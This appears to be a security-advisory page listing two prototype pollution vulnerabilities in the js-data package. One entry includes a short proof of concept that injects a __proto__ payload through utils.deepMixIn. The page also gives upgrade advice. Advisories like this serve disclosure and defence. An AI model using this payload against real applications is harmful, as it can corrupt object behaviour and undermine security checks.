js-data@3.0.0-rc.7 vulnerabilities

Robust, framework-agnostic in-memory data store.

Direct Vulnerabilities

Known vulnerabilities in the js-data package. This does not include vulnerabilities belonging to this package’s dependencies.

How to fix?

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

Fix for free
VulnerabilityVulnerable Version
  • H
Prototype Pollution

js-data is a Robust, framework-agnostic in-memory data store.

Affected versions of this package are vulnerable to Prototype Pollution via the deepFillIn and the set functions. This is an incomplete fix of CVE-2020-28442.

How to fix Prototype Pollution?

A fix was pushed into the master branch but not yet published.

*
  • H
Prototype Pollution

js-data is a Robust, framework-agnostic in-memory data store.

Affected versions of this package are vulnerable to Prototype Pollution via the deepMixIn and deepFillIn functions.

PoC

const { utils } = require("js-data");
const obj = {};
const source = JSON.parse('{"__proto__":{"polluted":"yes"}}');
console.log("Before : " + obj.polluted);
utils.deepMixIn({}, source);
// utils.deepFillIn({}, source);
console.log("After : " + obj.polluted);

How to fix Prototype Pollution?

Upgrade js-data to version 3.0.10 or higher.

<3.0.10